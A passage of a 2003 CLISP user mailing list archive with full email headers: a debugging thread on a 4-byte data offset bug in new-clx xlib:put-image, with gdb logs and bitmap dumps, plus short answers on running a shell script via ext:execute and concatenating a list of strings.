0 0 26 94 0 0 0 0 0 0 48 42 16 0 0 0 0 0 179 46 16) :UNIT 32 :PAD 32 :LEFT-PAD 0) this is different from what is printed elsewhere: #S(IMAGE-X :WIDTH 40 :HEIGHT 44 :DEPTH 1 :PLIST (NAME M-GRELB) :FORMAT Z-PIXMAP :BYTES-PER-LINE 8 :BITS-PER-PIXEL 1 :BIT-LSB-FIRST-P T :BYTE-LSB-FIRST-P T :DATA #(0 0 0 0 0 10 42 16 0 0 0 0 0 11 42 16 0 0 0 0 0 79 78 84 0 0 0 0 0 69 78 84 0 0 0 0 0 0 5 0 128 31 0 240 3 151 93 0 64 48 0 24 4 11 42 16 0 32 255 9 0 11 42 16 0 224 255 15 0 79 78 84 0 248 255 63 0 67 84 73 0 254 255 255 0 11 42 16 0 255 255 255 1 79 68 85 128 255 255 255 3 77 69 0 128 255 255 255 3 24 0 0 192 31 255 241 7 27 94 0 192 15 254 224 7 27 94 0 192 15 254 224 7 27 94 0 192 31 255 241 7 27 94 0 192 255 255 255 7 27 94 0 128 255 255 255 3 27 94 0 128 255 255 255 3 27 94 0 0 255 255 255 1 27 94 0 0 254 255 255 0 27 94 0 0 248 255 63 0 255 255 127 0 224 255 15 0 255 255 127 0 0 255 1 0 255 255 127 0 0 199 1 0 5 0 0 0 0 198 0 0 31 50 16 0 0 198 0 0 26 94 0 0 0 198 0 0 11 42 16 0 0 198 0 0 255 255 127 0 0 130 0 0 255 255 127 0 0 130 0 0 1 0 0 0 0 130 0 0 12 42 16 0 0 130 0 0 67 38 16 0 0 130 0 0 12 42 16 0 254 131 255 0 1 0 0 0 255 199 255 1 11 42 16 0 254 131 255 0 12 42 16 0 0 0 0 0 0 0 0 0 0 0 0 0 142 227 63 0 0 0 0 0 26 94 0 0 0 0 0 0 12 42 16 0 0 0 0 0 143 46 16) :UNIT 32 :PAD 32 :LEFT-PAD 0) data ((SIMPLE-ARRAY (UNSIGNED-BYTE 8) (352))): #(0 0 0 0 0 10 42 16 0 0 0 0 0 11 42 16 0 0 0 0 0 79 78 84 0 0 0 0 0 69 78 84 0 0 0 0 0 0 5 0 128 31 0 240 3 151 93 0 64 48 0 24 4 11 42 16 0 32 255 9 0 11 42 16 0 224 255 15 0 79 78 84 0 248 255 63 0 67 84 73 0 254 255 255 0 11 42 16 0 255 255 255 1 79 68 85 128 255 255 255 3 77 69 0 128 255 255 255 3 24 0 0 192 31 255 241 7 27 94 0 192 15 254 224 7 27 94 0 192 15 254 224 7 27 94 0 192 31 255 241 7 27 94 0 192 255 255 255 7 27 94 0 128 255 255 255 3 27 94 0 128 255 255 255 3 27 94 0 0 255 255 255 1 27 94 0 0 254 255 255 0 27 94 0 0 248 255 63 0 255 255 127 0 224 255 15 0 255 255 127 0 0 255 1 0 255 255 127 0 0 199 1 0 5 0 0 0 0 198 0 0 31 50 16 0 0 198 0 0 26 94 0 0 0 198 0 0 11 42 16 0 0 198 0 0 255 255 127 0 0 130 0 0 255 255 127 0 0 130 0 0 1 0 0 0 0 130 0 0 12 42 16 0 0 130 0 0 67 38 16 0 0 130 0 0 12 42 16 0 254 131 255 0 1 0 0 0 255 199 255 1 11 42 16 0 254 131 255 0 12 42 16 0 0 0 0 0 0 0 0 0 0 0 0 0 142 227 63 0 0 0 0 0 26 94 0 0 0 0 0 0 12 42 16 0 0 0 0 0 143 46 16) this means that the DATA slot of the IMAGE-X structure gets corrupted somewhere, probably in C. note also the different :PLIST lists! [OTOH, I am an awful bit-pusher, and I am likely to be missing the point here, please bear with me] > I don't quite understand the workings of CLISP's internal structure, > but it seemed unlikely that a basic internal accessor like TheSbvector > would be wrong without a lot more than PUT-IMAGE going wrong, and the > code path through the PUT-IMAGE C function looks correct (to me). So > I did look closer at the xlib:read-bitmap-file function that reads the > bitmap file. Note that the CLISP core gets TheSbvector() et al from lispbibl.d while modules, including new-clx, get them from clisp.h. I just looked at both build-g/clisp.g (generated by genclisph.d) and build-g/lispbibl.h ("make lispbibl.h") and they appear to be in sync. -- Sam Steingold (http://www.podval.org/~sds) running w2k Modern man is the missing link between apes and human beings. From lisp-clisp-list@m.gmane.org Thu Oct 02 10:42:23 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A57T5-00040h-00 for ; Thu, 02 Oct 2003 10:42:23 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A57T3-0006RR-8g for clisp-list@lists.sourceforge.net; Thu, 02 Oct 2003 10:42:21 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1A57T1-0003JH-00 for ; Thu, 02 Oct 2003 19:42:19 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1A57T0-0003J9-00 for ; Thu, 02 Oct 2003 19:42:18 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1A57T0-0005El-00 for ; Thu, 02 Oct 2003 19:42:18 +0200 From: Barry Fishman Lines: 303 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:Xp0swlbJqSSPPWMtVXMuqUorgPA= X-Spam-Score: -1.5 (-) X-Spam-Report: -1.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text Subject: [clisp-list] Re: Problems with new-clx xlib:put-image Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 2 10:43:03 2003 X-Original-Date: Thu, 02 Oct 2003 13:39:31 -0400 Sam Steingold writes: >> * Barry Fishman [2003-10-01 12:09:41 -0400]: >> >> Sam Steingold writes: >> >> >> * Barry Fishman [2003-09-29 09:23:00 -0400]: >> >> The data is correct, just 4 bytes off from where TheSvector seems to >> >> think it is. I don't know enough about CLISP internal structures to >> >> know what is happening. > > this is not what I observe: I followed your build and debug procedure, but got different results: =========== BEGIN DEBUG LOG ============= GNU gdb 5.2.1 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-suse-linux". Breakpoint 1 at 0x806867a: file eval.d, line 4834. Breakpoint 2 at 0x8065f3a: file eval.d, line 3921. Breakpoint 3 at 0x8062674: file eval.d, line 2805. Breakpoint 4 at 0x804ff12: file spvw_garcol.d, line 2617. Breakpoint 5 at 0x80524f2: file spvw.d, line 627. Breakpoint 6 at 0x804c826: file spvw.d, line 483. Breakpoint 7 at 0x804c8b6: file spvw.d, line 494. Hardware watchpoint 8: back_trace Num Type Disp Enb Address What 1 breakpoint keep n 0x0806867a in funcall at eval.d:4834 zout fun 2 breakpoint keep n 0x08065f3a in apply at eval.d:3921 zout fun 3 breakpoint keep n 0x08062674 in eval at eval.d:2805 zout form 4 breakpoint keep n 0x0804ff12 in gar_col at spvw_garcol.d:2617 5 breakpoint keep y 0x080524f2 in fehler_notreached at spvw.d:627 6 breakpoint keep y 0x0804c826 in SP_ueber at spvw.d:483 7 breakpoint keep y 0x0804c8b6 in STACK_ueber at spvw.d:494 8 hw watchpoint keep n back_trace zbacktrace continue .gdbinit:133: Error in sourced command file: Function "sigsegv_handler_failed" not defined. (gdb) full Breakpoint 1 at 0x808f846: file eval.d, line 4834. Breakpoint 2 at 0x808d106: file eval.d, line 3921. Breakpoint 3 at 0x8089840: file eval.d, line 2805. Breakpoint 4 at 0x80770de: file spvw_garcol.d, line 2617. Breakpoint 5 at 0x80796be: file spvw.d, line 627. Breakpoint 6 at 0x80739f2: file spvw.d, line 483. Breakpoint 7 at 0x8073a82: file spvw.d, line 494. Breakpoint 9 at 0x804d482: file clx.f, line 481. Breakpoint 10 at 0x804d4fe: file clx.f, line 488. (gdb) set language c (gdb) break dump_image Breakpoint 11 at 0x805e07a: file clx.f, line 4968. (gdb) run -B . -M full/lispinit.mem -q -norc badcase.lisp Starting program: /home/barry/src/gen/clisp/full/lisp.run -B . -M full/lispinit.mem -q -norc badcase.lisp STACK depth: 16363 #S(IMAGE-X :WIDTH 40 :HEIGHT 44 :DEPTH 1 :PLIST (NAME M-GRELB) :FORMAT Z-PIXMAP :BYTES-PER-LINE 8 :BITS-PER-PIXEL 1 :BIT-LSB-FIRST-P T :BYTE-LSB-FIRST-P T :DATA #(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 128 31 0 240 3 0 0 0 64 48 0 24 4 0 0 0 0 32 255 9 0 0 0 0 0 224 255 15 0 0 0 0 0 248 255 63 0 0 0 0 0 254 255 255 0 0 0 0 0 255 255 255 1 0 0 0 128 255 255 255 3 0 0 0 128 255 255 255 3 0 0 0 192 31 255 241 7 0 0 0 192 15 254 224 7 0 0 0 192 15 254 224 7 0 0 0 192 31 255 241 7 0 0 0 192 255 255 255 7 0 0 0 128 255 255 255 3 0 0 0 128 255 255 255 3 0 0 0 0 255 255 255 1 0 0 0 0 254 255 255 0 0 0 0 0 248 255 63 0 0 0 0 0 224 255 15 0 0 0 0 0 0 255 1 0 0 0 0 0 0 199 1 0 0 0 0 0 0 198 0 0 0 0 0 0 0 198 0 0 0 0 0 0 0 198 0 0 0 0 0 0 0 198 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 254 131 255 0 0 0 0 0 255 199 255 1 0 0 0 0 254 131 255 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) :UNIT 32 :PAD 32 :LEFT-PAD 0) Breakpoint 11, dump_image (image=0xbfffb6d0) at clx.f:4968 4968 skipSTACK(1); Warning: the current language does not match this frame. (gdb) up #1 0x0805e740 in C_subr_xlib_put_image () at clx.f:5063 5063 /* Q: Should we raise a x-error-sonstwas condition here? */ (gdb) zout mv_space[0] #(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 128 31 0 240 3 0 0 0 64 48 0 24 4 0 0 0 0 32 255 9 0 0 0 0 0 224 255 15 0 0 0 0 0 248 255 63 0 0 0 0 0 254 255 255 0 0 0 0 0 255 255 255 1 0 0 0 128 255 255 255 3 0 0 0 128 255 255 255 3 0 0 0 192 31 255 241 7 0 0 0 192 15 254 224 7 0 0 0 192 15 254 224 7 0 0 0 192 31 255 241 7 0 0 0 192 255 255 255 7 0 0 0 128 255 255 255 3 0 0 0 128 255 255 255 3 0 0 0 0 255 255 255 1 0 0 0 0 254 255 255 0 0 0 0 0 248 255 63 0 0 0 0 0 224 255 15 0 0 0 0 0 0 255 1 0 0 0 0 0 0 199 1 0 0 0 0 0 0 198 0 0 0 0 0 0 0 198 0 0 0 0 0 0 0 198 0 0 0 0 0 0 0 198 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 254 131 255 0 0 0 0 0 255 199 255 1 0 0 0 0 254 131 255 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) {one_o = 540662617} (gdb) zout STACK[-8] #S(XLIB:IMAGE-X :WIDTH 40 :HEIGHT 44 :DEPTH 1 :PLIST (:NAME :M-GRELB) :FORMAT :Z-PIXMAP :BYTES-PER-LINE 8 :BITS-PER-PIXEL 1 :BIT-LSB-FIRST-P T :BYTE-LSB-FIRST-P T :DATA #(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 128 31 0 240 3 0 0 0 64 48 0 24 4 0 0 0 0 32 255 9 0 0 0 0 0 224 255 15 0 0 0 0 0 248 255 63 0 0 0 0 0 254 255 255 0 0 0 0 0 255 255 255 1 0 0 0 128 255 255 255 3 0 0 0 128 255 255 255 3 0 0 0 192 31 255 241 7 0 0 0 192 15 254 224 7 0 0 0 192 15 254 224 7 0 0 0 192 31 255 241 7 0 0 0 192 255 255 255 7 0 0 0 128 255 255 255 3 0 0 0 128 255 255 255 3 0 0 0 0 255 255 255 1 0 0 0 0 254 255 255 0 0 0 0 0 248 255 63 0 0 0 0 0 224 255 15 0 0 0 0 0 0 255 1 0 0 0 0 0 0 199 1 0 0 0 0 0 0 198 0 0 0 0 0 0 0 198 0 0 0 0 0 0 0 198 0 0 0 0 0 0 0 198 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 254 131 255 0 0 0 0 0 255 199 255 1 0 0 0 0 254 131 255 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) :UNIT 32 :PAD 32 :LEFT-PAD 0) {one_o = 540662977} (gdb) cont Continuing. ;; Image (bitmap) 40x44x1, bpl= 8, pad= 32: ;| | ;| | ;| | ;| | ;| *| ;|** * | ;| * | ;| | ;| | ;| | ;| | ;|* *| ;|** *| ;|** **| ;|*** **| ;|*** **| ;|*** **| ;|*** **| ;|*** *| ;|** *| ;|** | ;|* | ;| | ;| | ;| | ;| | ;| | ;| | ;| | ;| | ;| | ;| | ;| | ;| | ;| | ;| | ;| | ;|* | ;| | ;| | ;| | ;| | ;| | ;| * **| Program exited normally. =================== END DEBUG LOG ==================== All of the debug information seems correct when I do it, although the bitmap I display is still wrong. I am unsure of why your gremblin data is so different than mine! If I offset the data using my kludge: im.data = (char*) &TheSbvector (value1)->data[-4]; The debug log is identical, except: *** unpatched.log 2003-10-02 12:30:12.000000000 -0400 --- patched.log 2003-10-02 12:43:20.000000000 -0400 *************** *** 109,153 **** ;| | ;| | ;| | - ;| *| - ;|** * | - ;| * | ;| | ;| | ;| | ;| | - ;|* *| - ;|** *| - ;|** **| - ;|*** **| - ;|*** **| - ;|*** **| - ;|*** **| - ;|*** *| - ;|** *| - ;|** | - ;|* | ;| | ;| | - ;| | - ;| | - ;| | - ;| | - ;| | - ;| | - ;| | - ;| | - ;| | - ;| | - ;| | - ;| | - ;| | - ;|* | - ;| | - ;| | - ;| | - ;| | - ;| | - ;| * **| Program exited normally. --- 109,153 ---- ;| | ;| | ;| | ;| | + ;| ****** ****** | + ;| * ** ** * | + ;| * ********* * | + ;| *************** | + ;| ******************* | + ;| *********************** | + ;| ************************* | + ;| *************************** | + ;| *************************** | + ;| ******* ********* ******* | + ;| ****** ******* ****** | + ;| ****** ******* ****** | + ;| ******* ********* ******* | + ;| ***************************** | + ;| *************************** | + ;| *************************** | + ;| ************************* | + ;| *********************** | + ;| ******************* | + ;| *************** | + ;| ********* | + ;| *** *** | + ;| ** ** | + ;| ** ** | + ;| ** ** | + ;| ** ** | + ;| * * | + ;| * * | + ;| * * | + ;| * * | + ;| * * | + ;| ********* ********* | + ;| *********** *********** | + ;| ********* ********* | ;| | ;| | ;| | ;| | ;| | Program exited normally. > this means that the DATA slot of the IMAGE-X structure gets corrupted > somewhere, probably in C. The C raw data pointer is wrong by 4 bytes (in my test), but the data bits themselves seem to be OK. I don't think the DATA slot of the IMAGE-X structure is corrupted, since it still appears correct (from lisp) after the program is run. The only thing (confirmed) wrong is the data pointer computed internal to the put-image function. > note also the different :PLIST lists! Are we looking at symbol names rather than the symbols themselves in the debug log? > [OTOH, I am an awful bit-pusher, and I am likely to be missing the > point here, please bear with me] I appreciate the time you have spent on this. Initially, I thought that it was something simple, that more experienced eyes would have seen right away. I am going to continue to work on the problem, but first I am going to spend some time better acquainting myself with the CLISP FFI. -- Barry Fishman From sds@gnu.org Thu Oct 02 12:30:52 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A59A4-0004BO-00 for ; Thu, 02 Oct 2003 12:30:52 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A59A2-0004WK-O8 for clisp-list@lists.sourceforge.net; Thu, 02 Oct 2003 12:30:50 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h92JUJk18283 for ; Thu, 2 Oct 2003 15:30:19 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net References: Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -1.5 (-) X-Spam-Report: -1.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text Subject: [clisp-list] Re: Problems with new-clx xlib:put-image Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 2 12:31:05 2003 X-Original-Date: 02 Oct 2003 15:30:19 -0400 > * Barry Fishman [2003-10-02 13:39:31 -0400]: > > > this means that the DATA slot of the IMAGE-X structure gets corrupted > > somewhere, probably in C. > > The C raw data pointer is wrong by 4 bytes (in my test), but the data > bits themselves seem to be OK. I don't think the DATA slot of the > IMAGE-X structure is corrupted, since it still appears correct (from > lisp) after the program is run. The only thing (confirmed) wrong is > the data pointer computed internal to the put-image function. the fact that you and I get different results means, IMO, that the whole structure is corrupted somewhere. > > note also the different :PLIST lists! > > Are we looking at symbol names rather than the symbols themselves in > the debug log? both of us see :PLIST (NAME M-GRELB) instead of :PLIST (:NAME :M-GRELB). this indicates something terrible. -- Sam Steingold (http://www.podval.org/~sds) running w2k usually: can't pay ==> don't buy. software: can't buy ==> don't pay From cs123lab@yahoo.com Thu Oct 02 13:09:45 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A59lh-0006sA-00 for ; Thu, 02 Oct 2003 13:09:45 -0700 Received: from web60208.mail.yahoo.com ([216.109.118.103]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.22) id 1A59lg-0000XL-GJ for clisp-list@lists.sourceforge.net; Thu, 02 Oct 2003 13:09:44 -0700 Message-ID: <20031002200913.65215.qmail@web60208.mail.yahoo.com> Received: from [64.163.110.3] by web60208.mail.yahoo.com via HTTP; Thu, 02 Oct 2003 13:09:13 PDT From: John Booher To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -0.5 (/) X-Spam-Report: -0.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header Subject: [clisp-list] Call a script. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 2 13:10:07 2003 X-Original-Date: Thu, 2 Oct 2003 13:09:13 -0700 (PDT) How would I call a script (sh or python) from lisp? __________________________________ Do you Yahoo!? The New Yahoo! Shopping - with improved product search http://shopping.yahoo.com From marcoxa@cs.nyu.edu Thu Oct 02 15:58:04 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A5COa-0000Om-00 for ; Thu, 02 Oct 2003 15:58:04 -0700 Received: from cat.nyu.edu ([128.122.47.28]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1A5COX-0001zD-SW for clisp-list@lists.sourceforge.net; Thu, 02 Oct 2003 15:58:01 -0700 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by cat.nyu.edu (Postfix) with ESMTP id 03CBE19D49 for ; Thu, 2 Oct 2003 18:57:30 -0400 (EDT) Subject: Re: [clisp-list] Call a script. Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: <20031002200913.65215.qmail@web60208.mail.yahoo.com> Message-Id: X-Mailer: Apple Mail (2.552) X-Spam-Score: -1.0 (-) X-Spam-Report: -1.0/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 USER_AGENT_APPLEMAIL (0.0 points) X-Mailer header indicates a non-spam MUA (Apple Mail) IN_REP_TO (-0.5 points) Has a In-Reply-To header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 2 15:59:02 2003 X-Original-Date: Thu, 2 Oct 2003 18:57:54 -0400 On Thursday, Oct 2, 2003, at 16:09 America/New_York, John Booher wrote: > How would I call a script (sh or python) from lisp? The long answer is: it depends on the particular implementation you are using. For CLisp you should be able to do (ext:execute "/bin/sh" "myscript.sh" "arg1" "arg2" ... "argN") Other implementations have a different command to run a shell command. The short answer is: You don't. You are way better off just using Common Lisp :) Cheers marco > > __________________________________ > Do you Yahoo!? > The New Yahoo! Shopping - with improved product search > http://shopping.yahoo.com > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > -- Marco Antoniotti NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From sds@gnu.org Fri Oct 03 08:20:18 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A5Rj8-0008Vy-00 for ; Fri, 03 Oct 2003 08:20:18 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A5Rj7-0008Rw-Jr for clisp-list@lists.sourceforge.net; Fri, 03 Oct 2003 08:20:17 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h93FJd426653; Fri, 3 Oct 2003 11:19:40 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: Dan Stanger Cc: clisp-list@lists.sourceforge.net References: <3F7D8AC9.84A51092@ieee.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3F7D8AC9.84A51092@ieee.org> Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: Lisp question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 3 08:21:05 2003 X-Original-Date: 03 Oct 2003 11:19:34 -0400 > * Dan Stanger [2003-10-03 10:42:17 -0400]: > > What is the best way to convert a list of strings to a single string? > For example ("abc" "def" "ghi") should convert to "abcdefghi" 1. if your list is not too large (< CALL-ARGUMENTS-LIMIT) then (apply #'concatenate 'string list-of-strings) if, moreover, CLISP-only, the faster way is (apply #'ext:string-concat list-of-strings) 2. in general, the standard way is the same as adding lists of numbers &c: (reduce (lambda (s1 s2) (concatenate 'string s1 s2)) list-of-strings :initial-value "") (CLISP-specific ext:string-concat is again faster: (reduce #'ext:string-concat list-of-strings) moreover, it does not cons up a lambda). -- Sam Steingold (http://www.podval.org/~sds) running w2k All extremists should be taken out and shot. From pascal@informatimago.com Fri Oct 03 12:42:12 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A5Voa-0002pQ-00 for ; Fri, 03 Oct 2003 12:42:12 -0700 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A5VoX-0006Vh-Jz for clisp-list@lists.sourceforge.net; Fri, 03 Oct 2003 12:42:10 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id 6C8A6B69B2; Fri, 3 Oct 2003 21:41:58 +0200 (CEST) Message-ID: <16253.53510.414513.239227@thalassa.informatimago.com> To: Dan Stanger , clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: Lisp question In-Reply-To: References: <3F7D8AC9.84A51092@ieee.org> X-Mailer: VM 7.17 under Emacs 21.3.50.pjb1.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable X-Spam-Score: -2.6 (--) X-Spam-Report: -2.6/5.0 Spam Filtering performed by sourceforge.net. 